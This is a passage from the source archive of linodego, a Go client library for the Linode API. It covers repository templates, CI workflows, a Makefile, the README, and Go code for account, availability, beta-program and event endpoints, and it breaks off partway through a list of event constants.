pax_global_header00006660000000000000000000000064145540207220014513gustar00rootroot0000000000000052 comment=0bd0c941538822724dbd5cd23c990c9ac7717b17 golang-github-linode-linodego-1.28.0/000077500000000000000000000000001455402072200174005ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/.github/000077500000000000000000000000001455402072200207405ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/.github/CONTRIBUTING.md000066400000000000000000000037321455402072200231760ustar00rootroot00000000000000# Contributing Guidelines :+1::tada: First off, we appreciate you taking the time to contribute! THANK YOU! :tada::+1: We put together the handy guide below to help you get support for your work. Read on! ## I Just Want to Ask the Maintainers a Question The [Linode Community](https://www.linode.com/community/questions/) is a great place to get additional support. ## How Do I Submit A (Good) Bug Report or Feature Request Please open a [github issue](https://guides.github.com/features/issues/) to report bugs or suggest features. When filing an issue or feature request, help us avoid duplication and redundant effort -- check existing open or recently closed issues first. Detailed bug reports and requests easier for us to work with. Please include the following in your issue: * A reproducible test case or series of steps * The version of our code being used * Any modifications you've made, relevant to the bug * Anything unusual about your environment or deployment * Screenshots and code samples where illustrative and helpful ## How to Open a Pull Request We follow the [fork and pull model](https://opensource.guide/how-to-contribute/#opening-a-pull-request) for open source contributions. Tips for a faster merge: * address one feature or bug per pull request. * large formatting changes make it hard for us to focus on your work. * follow language coding conventions. * make sure that tests pass. * make sure your commits are atomic, [addressing one change per commit](https://chris.beams.io/posts/git-commit/). * add tests! ## Code of Conduct This project follows the [Linode Community Code of Conduct](https://www.linode.com/community/questions/conduct). ## Vulnerability Reporting If you discover a potential security issue in this project we ask that you notify Linode Security via our [vulnerability reporting process](https://hackerone.com/linode). Please do **not** create a public github issue. ## Licensing See the LICENSE file for our project's licensing. golang-github-linode-linodego-1.28.0/.github/ISSUE_TEMPLATE.md000066400000000000000000000001601455402072200234420ustar00rootroot00000000000000The [Linode Community](https://www.linode.com/community/questions/) is a great place to get additional support. golang-github-linode-linodego-1.28.0/.github/ISSUE_TEMPLATE/000077500000000000000000000000001455402072200231235ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/.github/ISSUE_TEMPLATE/bug.yml000066400000000000000000000024151455402072200244250ustar00rootroot00000000000000name: Bug Report description: File a bug report title: "[Bug]: " labels: ["bug"] body: - type: input id: go-version attributes: label: go Version description: What version of go are you running? `go version` placeholder: go version go1.18.1 linux/amd64 validations: required: true - type: input id: linodego-version attributes: label: API Wrapper Version description: What version of our wrapper are you running? placeholder: github.com/linode/linodego v1.0.0 validations: required: true - type: textarea id: code attributes: render: go label: Code Snippet description: If your files are too long for a short code snippet please use GitHub Gists - type: textarea id: expected attributes: label: Expected Behavior description: What should have happened? validations: required: true - type: textarea id: actual attributes: label: Actual Behavior description: What actually happened? validations: required: true - type: textarea id: reproduce attributes: label: Steps to Reproduce description: List any custom configurations and the steps to reproduce this error validations: required: true golang-github-linode-linodego-1.28.0/.github/ISSUE_TEMPLATE/feature.yml000066400000000000000000000010111455402072200252720ustar00rootroot00000000000000name: Enhancement description: Request a feature title: "[Feature]: " labels: ["enhancement"] body: - type: textarea id: description attributes: label: Description description: What would you like this feature to do in detail? validations: required: true - type: textarea id: example attributes: label: Example Code description: How would you use this feature in some example code? placeholder: | ```go var := linodego.NewFeature() ``` golang-github-linode-linodego-1.28.0/.github/ISSUE_TEMPLATE/help.yml000066400000000000000000000011251455402072200245750ustar00rootroot00000000000000name: Help description: You're pretty sure it's not a bug but you can't figure out why it's not working title: "[Help]: " labels: ["help wanted"] body: - type: textarea id: description attributes: label: Description description: What are you attempting to do, what error messages are you getting? validations: required: true - type: textarea id: code attributes: label: Attempted Code description: If your code is longer than a small snipit please use Gists placeholder: | ```go var := linodego.NewFeature() ``` golang-github-linode-linodego-1.28.0/.github/PULL_REQUEST_TEMPLATE.md000066400000000000000000000005441455402072200245440ustar00rootroot00000000000000## 📝 Description **What does this PR do and why is this change necessary?** ## ✔️ How to Test **What are the steps to reproduce the issue or verify the changes?** **How do I run the relevant unit/integration tests?** ## 📷 Preview **If applicable, include a screenshot or code snippet of this change. Otherwise, please remove this section.**golang-github-linode-linodego-1.28.0/.github/dependabot.yml000066400000000000000000000003511455402072200235670ustar00rootroot00000000000000version: 2 updates: - package-ecosystem: gomod directory: "/" schedule: interval: daily open-pull-requests-limit: 10 - package-ecosystem: "github-actions" directory: "/" schedule: interval: weekly golang-github-linode-linodego-1.28.0/.github/labels.yml000066400000000000000000000015351455402072200227310ustar00rootroot00000000000000- name: added-feature description: for new features in the changelog. color: a2eeef - name: changed description: for changes in existing functionality in the changelog. color: a2eeef - name: deprecated description: for soon-to-be removed features in the changelog. color: e4e669 - name: removed description: for now removed features in the changelog. color: e4e669 - name: bugfix description: for any bug fixes in the changelog. color: d73a4a - name: security description: for vulnerabilities in the changelog. color: dd4739 - name: bug description: Something isn't working in this issue. color: d73a4a - name: enhancement description: New feature request in this issue. color: a2eeef - name: good first issue description: Low hanging fruit. color: 7057ff - name: help wanted description: I need some help. color: 008672 golang-github-linode-linodego-1.28.0/.github/release-drafter.yml000066400000000000000000000007751455402072200245410ustar00rootroot00000000000000name-template: 'v$NEXT_PATCH_VERSION' tag-template: 'v$NEXT_PATCH_VERSION' categories: - title: '🚀 Added' label: 'added-feature' - title: '🧰 Changed' label: 'changed' - title: "⚠️ Deprecated" label: "deprecated" - title: "⚠️ Removed" label: "removed" - title: '🐛 Bug Fixes' label: 'bugfix' - title: "⚠️ Security" label: "security" change-template: '- $TITLE @$AUTHOR (#$NUMBER)' no-changes-template: "- No changes" template: | ## Changes $CHANGES golang-github-linode-linodego-1.28.0/.github/workflows/000077500000000000000000000000001455402072200227755ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/.github/workflows/gosec_pr.yml000066400000000000000000000007261455402072200253260ustar00rootroot00000000000000name: Gosec Scan on: pull_request: null jobs: gosec_scan: runs-on: ubuntu-latest env: GO111MODULE: on steps: - name: Checkout Source uses: actions/checkout@v4 - name: Run Gosec Security Scanner on root directory uses: securego/gosec@master with: # We need to temporarily exclude this as gosec doesn't # support using module files from subdirectories. args: -exclude-dir=k8s ./... golang-github-linode-linodego-1.28.0/.github/workflows/integration_tests_pr.yml000066400000000000000000000063461455402072200277770ustar00rootroot00000000000000on: pull_request: workflow_dispatch: inputs: sha: description: 'The hash value of the commit.' required: true module: description: 'The module to be tested.' required: false pull_request_number: description: 'The number of the PR.' required: false name: Integration tests on PR jobs: integration-fork: runs-on: ubuntu-latest if: github.event_name == 'workflow_dispatch' && inputs.sha != '' steps: - uses: actions/setup-go@v5 with: go-version: 'stable' - run: go version - uses: actions-ecosystem/action-regex-match@v2 id: disallowed-char-check with: text: ${{ inputs.module }} regex: '[^a-z0-9_\/]' flags: gi # Check out merge commit - name: Checkout PR uses: actions/checkout@v4 with: ref: ${{ inputs.sha }} - run: make ARGS="-run ${{ inputs.module }}" fixtures if: ${{ inputs.module != '' && steps.disallowed-char-check.outputs.match == '' }} env: LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} - run: make fixtures if: ${{ inputs.module == '' }} env: LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} - name: Get the hash value of the latest commit from the PR branch uses: octokit/graphql-action@v2.x id: commit-hash if: ${{ inputs.pull_request_number != '' }} with: query: | query PRHeadCommitHash($owner: String!, $repo: String!, $pr_num: Int!) { repository(owner:$owner, name:$repo) { pullRequest(number: $pr_num) { headRef { target { ... on Commit { oid } } } } } } owner: ${{ github.event.repository.owner.login }} repo: ${{ github.event.repository.name }} pr_num: ${{ fromJSON(inputs.pull_request_number) }} env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - uses: actions/github-script@v7 id: update-check-run if: ${{ inputs.pull_request_number != '' && fromJson(steps.commit-hash.outputs.data).repository.pullRequest.headRef.target.oid == inputs.sha }} env: number: ${{ inputs.pull_request_number }} job: ${{ github.job }} conclusion: ${{ job.status }} with: github-token: ${{ secrets.GITHUB_TOKEN }} script: | const { data: pull } = await github.rest.pulls.get({ ...context.repo, pull_number: process.env.number }); const ref = pull.head.sha; const { data: checks } = await github.rest.checks.listForRef({ ...context.repo, ref }); const check = checks.check_runs.filter(c => c.name === process.env.job); const { data: result } = await github.rest.checks.update({ ...context.repo, check_run_id: check[0].id, status: 'completed', conclusion: process.env.conclusion }); return result; golang-github-linode-linodego-1.28.0/.github/workflows/label-sync.yml000066400000000000000000000006111455402072200255470ustar00rootroot00000000000000name: Sync labels on: push: branches: - main paths: - .github/labels.yml jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: micnncim/action-label-syncer@3abd5ab72fda571e69fffd97bd4e0033dd5f495c # pin@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: manifest: .github/labels.yml golang-github-linode-linodego-1.28.0/.github/workflows/nightly-smoke-tests.yml000066400000000000000000000007711455402072200274570ustar00rootroot00000000000000name: Nightly Smoke Tests on: schedule: - cron: "0 0 * * *" workflow_dispatch: jobs: smoke_tests: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 with: ref: main - name: Checkout code uses: actions/setup-go@v5 with: go-version: 'stable' - run: go version - name: Run smoke tests run: make smoketest env: LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} golang-github-linode-linodego-1.28.0/.github/workflows/release-drafter.yml000066400000000000000000000005421455402072200265660ustar00rootroot00000000000000name: Release Drafter on: push: branches: - main jobs: update_release_draft: runs-on: ubuntu-latest steps: - uses: release-drafter/release-drafter@09c613e259eb8d4e7c81c2cb00618eb5fc4575a7 # pin@v5.25.0 with: config-name: release-drafter.yml env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} golang-github-linode-linodego-1.28.0/.github/workflows/stale.yml000066400000000000000000000011401455402072200246240ustar00rootroot00000000000000name: 'Stale issue handler' on: workflow_dispatch: null schedule: - cron: '0 0 * * *' jobs: stale: runs-on: ubuntu-latest steps: - uses: actions/stale@v9 id: stale with: stale-issue-message: 'This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days' days-before-stale: 30 days-before-close: 5 exempt-issue-labels: 'blocked,must,should,keep' - name: Print outputs run: echo ${{ join(steps.stale.outputs.*, ',') }}golang-github-linode-linodego-1.28.0/.github/workflows/test.yml000066400000000000000000000052031455402072200244770ustar00rootroot00000000000000name: Testing on: workflow_dispatch: null push: branches: - main pull_request: null jobs: test: runs-on: ubuntu-latest env: EXIT_STATUS: 0 steps: - name: Clone Repository uses: actions/checkout@v4 with: fetch-depth: 0 submodules: 'recursive' - name: Set up Go uses: actions/setup-go@v5 with: go-version: 'stable' - run: go version - name: Run tidy run: make tidy - name: Run fmt run: go fmt ./... - name: Fail if changes run: git diff-index --exit-code HEAD - name: Run linter run: make lint - name: Update system packages run: sudo apt-get update -y - name: Install system deps run: sudo apt-get install -y build-essential - name: Setup Python uses: actions/setup-python@v5 with: python-version: '3.x' - name: Install Python deps run: pip3 install requests wheel boto3 - name: Install go-junit-report run: go install github.com/jstemmer/go-junit-report/v2@latest - name: Run tests and save test report run: | timestamp=$(date +'%Y%m%d%H%M') report_filename="${timestamp}_linodego_test_report.xml" if ! make test | go-junit-report -set-exit-code > "$report_filename"; then echo "EXIT_STATUS=1" >> $GITHUB_ENV fi cat "$report_filename" env: SKIP_LINT: 1 - name: Add additional information to XML report if: github.ref == 'refs/heads/main' && github.event_name == 'push' run: | filename=$(ls | grep -E '^[0-9]{12}_linodego_test_report\.xml$') python tod_scripts/add_to_xml_test_report.py \ --branch_name "${GITHUB_REF#refs/*/}" \ --gha_run_id "$GITHUB_RUN_ID" \ --gha_run_number "$GITHUB_RUN_NUMBER" \ --xmlfile "${filename}" - name: Upload test results to bucket if: github.ref == 'refs/heads/main' && github.event_name == 'push' env: LINODE_CLI_OBJ_ACCESS_KEY: ${{ secrets.LINODE_CLI_OBJ_ACCESS_KEY }} LINODE_CLI_OBJ_SECRET_KEY: ${{ secrets.LINODE_CLI_OBJ_SECRET_KEY }} run: | report_filename=$(ls | grep -E '^[0-9]{12}_linodego_test_report\.xml$') python tod_scripts/test_report_upload_script.py "${report_filename}" - name: Test Execution Status Handler run: | if [[ "$EXIT_STATUS" != 0 ]]; then echo "Test execution contains failure(s)" exit $EXIT_STATUS else echo "Tests passed!" figolang-github-linode-linodego-1.28.0/.gitignore000066400000000000000000000005261455402072200213730ustar00rootroot00000000000000# Binaries for programs and plugins *.exe *.dll *.so *.dylib # Test binary, build with `go test -c` *.test # Output of the go coverage tool, specifically when used with LiteIDE *.out # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736 .glide/ # Common IDE paths .vscode/ .idea/ vendor/**/ .env coverage.txt golang-github-linode-linodego-1.28.0/.gitmodules000066400000000000000000000001541455402072200215550ustar00rootroot00000000000000[submodule "tod_scripts"] path = tod_scripts url = https://github.com/linode/TOD-test-report-uploader.git golang-github-linode-linodego-1.28.0/.golangci.yml000066400000000000000000000026321455402072200217670ustar00rootroot00000000000000run: tests: false linters-settings: errcheck: check-type-assertions: true check-blank: true govet: check-shadowing: true enable: - atomicalign enable-all: false disable: - shadow disable-all: false golint: min-confidence: 0.8 gocyclo: min-complexity: 30 gocognit: min-complexity: 30 maligned: suggest-new: true dupl: threshold: 100 linters: enable-all: true disable: # deprecated linters - deadcode - ifshort - varcheck - nosnakecase #################### # conflicted with go fmt - nolintlint # workaround to avoid linter failures of getting malformed json - musttag - bodyclose - contextcheck - nilerr - noctx - rowserrcheck - sqlclosecheck - structcheck - tparallel - vetshadow - errname - forcetypeassert - gocyclo - unparam - nakedret - lll - golint - maligned - scopelint - dupl - gosec - gochecknoinits - gochecknoglobals - exhaustruct - nonamedreturns - errcheck - staticcheck - stylecheck - wsl - interfacer - varnamelen - tagliatelle - gomnd - nlreturn - wrapcheck - wastedassign - goerr113 - exhaustivestruct - durationcheck - errorlint - cyclop - godot - exhaustive - depguard - tagalign - inamedparam fast: false golang-github-linode-linodego-1.28.0/CODEOWNERS000066400000000000000000000000151455402072200207670ustar00rootroot00000000000000* @linode/dx golang-github-linode-linodego-1.28.0/LICENSE000066400000000000000000000020751455402072200204110ustar00rootroot00000000000000MIT License Copyright (c) 2017 Christopher "Chief" Najewicz Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. golang-github-linode-linodego-1.28.0/Makefile000066400000000000000000000053011455402072200210370ustar00rootroot00000000000000-include .env BIN_DIR := $(GOPATH)/bin INTEGRATION_DIR := ./test/integration FIXTURES_DIR := $(INTEGRATION_DIR)/fixtures TEST_TIMEOUT := 5h SKIP_DOCKER ?= 0 GOLANGCILINT := golangci-lint GOLANGCILINT_IMG := golangci/golangci-lint:latest GOLANGCILINT_ARGS := run LINODE_URL ?= https://api.linode.com/ PACKAGES := $(shell go list ./... | grep -v integration) SKIP_LINT ?= 0 .PHONY: build vet test refresh-fixtures clean clean-cov clean-fixtures lint run_fixtures sanitize fixtures godoc testint testunit testcov tidy test: build lint testunit testint citest: lint test testunit: go test -v $(PACKAGES) $(ARGS) testint: cd test && make test testcov-func: @go test -v -coverprofile="coverage.txt" . > /dev/null 2>&1 @go tool cover -func coverage.txt # Note for WSL Users, set BROWSER=wslview testcov-html: @go test -v -coverprofile="coverage.txt" . > /dev/null 2>&1 @go tool cover -html coverage.txt smoketest: cd test && make smoketest build: vet lint go build ./... cd k8s && go build ./... vet: go vet ./... cd k8s && go vet ./... lint: ifeq ($(SKIP_LINT), 1) @echo Skipping lint stage else ifeq ($(SKIP_DOCKER), 1) $(GOLANGCILINT) $(GOLANGCILINT_ARGS) else docker run --rm -v $(shell pwd):/app -w /app $(GOLANGCILINT_IMG) $(GOLANGCILINT) $(GOLANGCILINT_ARGS) endif clean: clean-cov clean-cov: @-rm -f coverage.txt clean-fixtures: @-rm -f fixtures/*.yaml refresh-fixtures: clean-fixtures fixtures run_fixtures: @echo "* Running fixtures" cd $(INTEGRATION_DIR) && \ LINODE_FIXTURE_MODE="record" \ LINODE_TOKEN=$(LINODE_TOKEN) \ LINODE_API_VERSION="v4beta" \ LINODE_URL="$(LINODE_URL)" \ GO111MODULE="on" \ go test -timeout=$(TEST_TIMEOUT) -v $(ARGS) sanitize: @echo "* Sanitizing fixtures" @for yaml in $(FIXTURES_DIR)/*yaml; do \ sed -E -i.bak \ -e 's_stats/20[0-9]{2}/[1-9][0-2]?_stats/2018/1_g' \ -e 's/(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))/1234::5678/g' \ $$yaml; \ done @find $(FIXTURES_DIR) -name *yaml.bak -exec rm {} \; fixtures: run_fixtures sanitize godoc: @godoc -http=:6060 tidy: go mod tidy cd k8s && go mod tidy cd test && go mod tidy golang-github-linode-linodego-1.28.0/README.md000066400000000000000000000123141455402072200206600ustar00rootroot00000000000000# linodego ![Tests](https://img.shields.io/github/actions/workflow/status/linode/linodego/test.yml?branch=main) [![Release](https://img.shields.io/github/v/release/linode/linodego)](https://github.com/linode/linodego/releases/latest) [![GoDoc](https://godoc.org/github.com/linode/linodego?status.svg)](https://godoc.org/github.com/linode/linodego) [![Go Report Card](https://goreportcard.com/badge/github.com/linode/linodego)](https://goreportcard.com/report/github.com/linode/linodego) Go client for [Linode REST v4 API](https://developers.linode.com/api/v4) ## Installation ```sh go get -u github.com/linode/linodego ``` ## Documentation See [godoc](https://godoc.org/github.com/linode/linodego) for a complete reference. The API generally follows the naming patterns prescribed in the [OpenAPIv3 document for Linode APIv4](https://developers.linode.com/api/v4). Deviations in naming have been made to avoid using "Linode" and "Instance" redundantly or inconsistently. A brief summary of the features offered in this API client are shown here. ## Examples ### General Usage ```go package main import ( "context" "fmt" "github.com/linode/linodego" "golang.org/x/oauth2" "log" "net/http" "os" ) func main() { apiKey, ok := os.LookupEnv("LINODE_TOKEN") if !ok { log.Fatal("Could not find LINODE_TOKEN, please assert it is set.") } tokenSource := oauth2.StaticTokenSource(&oauth2.Token{AccessToken: apiKey}) oauth2Client := &http.Client{ Transport: &oauth2.Transport{ Source: tokenSource, }, } linodeClient := linodego.NewClient(oauth2Client) linodeClient.SetDebug(true) res, err := linodeClient.GetInstance(context.Background(), 4090913) if err != nil { log.Fatal(err) } fmt.Printf("%v", res) } ``` ### Pagination #### Auto-Pagination Requests ```go kernels, err := linodego.ListKernels(context.Background(), nil) // len(kernels) == 218 ``` Or, use a page value of "0": ```go opts := linodego.NewListOptions(0,"") kernels, err := linodego.ListKernels(context.Background(), opts) // len(kernels) == 218 ``` #### Single Page ```go opts := linodego.NewListOptions(2,"") // or opts := linodego.ListOptions{PageOptions: &linodego.PageOptions{Page: 2}, PageSize: 500} kernels, err := linodego.ListKernels(context.Background(), opts) // len(kernels) == 100 ``` ListOptions are supplied as a pointer because the Pages and Results values are set in the supplied ListOptions. ```go // opts.Results == 218 ``` #### Filtering ```go f := linodego.Filter{} f.AddField(linodego.Eq, "mine", true) fStr, err := f.MarshalJSON() if err != nil { log.Fatal(err) } opts := linodego.NewListOptions(0, string(fStr)) stackscripts, err := linodego.ListStackscripts(context.Background(), opts) ``` ### Error Handling #### Getting Single Entities ```go linode, err := linodego.GetInstance(context.Background(), 555) // any Linode ID that does not exist or is not yours // linode == nil: true // err.Error() == "[404] Not Found" // err.Code == "404" // err.Message == "Not Found" ``` #### Lists For lists, the list is still returned as `[]`, but `err` works the same way as on the `Get` request. ```go linodes, err := linodego.ListInstances(context.Background(), linodego.NewListOptions(0, "{\"foo\":bar}")) // linodes == [] // err.Error() == "[400] [X-Filter] Cannot filter on foo" ``` Otherwise sane requests beyond the last page do not trigger an error, just an empty result: ```go linodes, err := linodego.ListInstances(context.Background(), linodego.NewListOptions(9999, "")) // linodes == [] // err = nil ``` ### Response Caching By default, certain endpoints with static responses will be cached into memory. Endpoints with cached responses are identified in their [accompanying documentation](https://pkg.go.dev/github.com/linode/linodego?utm_source=godoc). The default cache entry expiry time is `15` minutes. Certain endpoints may override this value to allow for more frequent refreshes (e.g. `client.GetRegion(...)`). The global cache expiry time can be customized using the `client.SetGlobalCacheExpiration(...)` method. Response caching can be globally disabled or enabled for a client using the `client.UseCache(...)` method. The global cache can be cleared and refreshed using the `client.InvalidateCache()` method. ### Writes When performing a `POST` or `PUT` request, multiple field related errors will be returned as a single error, currently like: ```go // err.Error() == "[400] [field1] foo problem; [field2] bar problem; [field3] baz problem" ``` ## Tests Run `make testunit` to run the unit tests. Run `make testint` to run the integration tests. The integration tests use fixtures. To update the test fixtures, run `make fixtures`. This will record the API responses into the `fixtures/` directory. Be careful about committing any sensitive account details. An attempt has been made to sanitize IP addresses and dates, but no automated sanitization will be performed against `fixtures/*Account*.yaml`, for example. To prevent disrupting unaffected fixtures, target fixture generation like so: `make ARGS="-run TestListVolumes" fixtures`. ## Discussion / Help Join us at [#linodego](https://gophers.slack.com/messages/CAG93EB2S) on the [gophers slack](https://gophers.slack.com) ## License [MIT License](LICENSE) golang-github-linode-linodego-1.28.0/account.go000066400000000000000000000025101455402072200213610ustar00rootroot00000000000000package linodego import "context" // Account associated with the token in use. type Account struct { FirstName string `json:"first_name"` LastName string `json:"last_name"` Email string `json:"email"` Company string `json:"company"` Address1 string `json:"address_1"` Address2 string `json:"address_2"` Balance float32 `json:"balance"` BalanceUninvoiced float32 `json:"balance_uninvoiced"` City string `json:"city"` State string `json:"state"` Zip string `json:"zip"` Country string `json:"country"` TaxID string `json:"tax_id"` Phone string `json:"phone"` CreditCard *CreditCard `json:"credit_card"` EUUID string `json:"euuid"` } // CreditCard information associated with the Account. type CreditCard struct { LastFour string `json:"last_four"` Expiry string `json:"expiry"` } // GetAccount gets the contact and billing information related to the Account. func (c *Client) GetAccount(ctx context.Context) (*Account, error) { e := "account" req := c.R(ctx).SetResult(&Account{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Account), nil } golang-github-linode-linodego-1.28.0/account_availability.go000066400000000000000000000037111455402072200241170ustar00rootroot00000000000000package linodego import ( "context" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // AccountAvailability returns the resources information in a region which are NOT available to an account. type AccountAvailability struct { // region id Region string `json:"region"` // the unavailable resources in a region to the customer Unavailable []string `json:"unavailable"` } // AccountAvailabilityPagedResponse represents a paginated Account Availability API response type AccountAvailabilityPagedResponse struct { *PageOptions Data []AccountAvailability `json:"data"` } // endpoint gets the endpoint URL for AccountAvailability func (AccountAvailabilityPagedResponse) endpoint(_ ...any) string { return "/account/availability" } func (resp *AccountAvailabilityPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(AccountAvailabilityPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*AccountAvailabilityPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListAccountAvailabilities lists all available regions and the resources which are NOT available to the account. func (c *Client) ListAccountAvailabilities(ctx context.Context, opts *ListOptions) ([]AccountAvailability, error) { response := AccountAvailabilityPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetAccountAvailability gets the unavailable resources in a region to the customer. func (c *Client) GetAccountAvailability(ctx context.Context, regionID string) (*AccountAvailability, error) { req := c.R(ctx).SetResult(&AccountAvailability{}) regionID = url.PathEscape(regionID) b := fmt.Sprintf("account/availability/%s", regionID) r, err := coupleAPIErrors(req.Get(b)) if err != nil { return nil, err } return r.Result().(*AccountAvailability), nil } golang-github-linode-linodego-1.28.0/account_betas.go000066400000000000000000000063061455402072200225460ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // The details and enrollment information of a Beta program that an account is enrolled in. type AccountBetaProgram struct { Label string `json:"label"` ID string `json:"id"` Description string `json:"description"` Started *time.Time `json:"-"` Ended *time.Time `json:"-"` // Date the account was enrolled in the beta program Enrolled *time.Time `json:"-"` } // AccountBetaProgramCreateOpts fields are those accepted by JoinBetaProgram type AccountBetaProgramCreateOpts struct { ID string `json:"id"` } // AccountBetasPagedResponse represents a paginated Account Beta Programs API response type AccountBetasPagedResponse struct { *PageOptions Data []AccountBetaProgram `json:"data"` } // endpoint gets the endpoint URL for AccountBetaProgram func (AccountBetasPagedResponse) endpoint(_ ...any) string { return "/account/betas" } // UnmarshalJSON implements the json.Unmarshaler interface func (cBeta *AccountBetaProgram) UnmarshalJSON(b []byte) error { type Mask AccountBetaProgram p := struct { *Mask Started *parseabletime.ParseableTime `json:"started"` Ended *parseabletime.ParseableTime `json:"ended"` Enrolled *parseabletime.ParseableTime `json:"enrolled"` }{ Mask: (*Mask)(cBeta), } if err := json.Unmarshal(b, &p); err != nil { return err } cBeta.Started = (*time.Time)(p.Started) cBeta.Ended = (*time.Time)(p.Ended) cBeta.Enrolled = (*time.Time)(p.Enrolled) return nil } func (resp *AccountBetasPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(AccountBetasPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*AccountBetasPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListAccountBetaPrograms lists all beta programs an account is enrolled in. func (c *Client) ListAccountBetaPrograms(ctx context.Context, opts *ListOptions) ([]AccountBetaProgram, error) { response := AccountBetasPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetAccountBetaProgram gets the details of a beta program an account is enrolled in. func (c *Client) GetAccountBetaProgram(ctx context.Context, betaID string) (*AccountBetaProgram, error) { req := c.R(ctx).SetResult(&AccountBetaProgram{}) betaID = url.PathEscape(betaID) b := fmt.Sprintf("/account/betas/%s", betaID) r, err := coupleAPIErrors(req.Get(b)) if err != nil { return nil, err } return r.Result().(*AccountBetaProgram), nil } // JoinBetaProgram enrolls an account into a beta program. func (c *Client) JoinBetaProgram(ctx context.Context, opts AccountBetaProgramCreateOpts) (*AccountBetaProgram, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "account/betas" req := c.R(ctx).SetResult(&AccountBetaProgram{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*AccountBetaProgram), nil } golang-github-linode-linodego-1.28.0/account_events.go000066400000000000000000000402521455402072200227520ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/duration" "github.com/linode/linodego/internal/parseabletime" ) // Event represents an action taken on the Account. type Event struct { // The unique ID of this Event. ID int `json:"id"` // Current status of the Event, Enum: "failed" "finished" "notification" "scheduled" "started" Status EventStatus `json:"status"` // The action that caused this Event. New actions may be added in the future. Action EventAction `json:"action"` // A percentage estimating the amount of time remaining for an Event. Returns null for notification events. PercentComplete int `json:"percent_complete"` // The rate of completion of the Event. Only some Events will return rate; for example, migration and resize Events. Rate *string `json:"rate"` // If this Event has been read. Read bool `json:"read"` // If this Event has been seen. Seen bool `json:"seen"` // The estimated time remaining until the completion of this Event. This value is only returned for in-progress events. TimeRemaining *int `json:"-"` // The username of the User who caused the Event. Username string `json:"username"` // Detailed information about the Event's entity, including ID, type, label, and URL used to access it. Entity *EventEntity `json:"entity"` // Detailed information about the Event's secondary or related entity, including ID, type, label, and URL used to access it. SecondaryEntity *EventEntity `json:"secondary_entity"` // When this Event was created. Created *time.Time `json:"-"` } // EventAction constants start with Action and include all known Linode API Event Actions. type EventAction string // EventAction constants represent the actions that cause an Event. New actions may be added in the future. const ( ActionAccountUpdate EventAction = "account_update" ActionAccountSettingsUpdate EventAction = "account_settings_update" ActionBackupsEnable EventAction = "backups_enable" 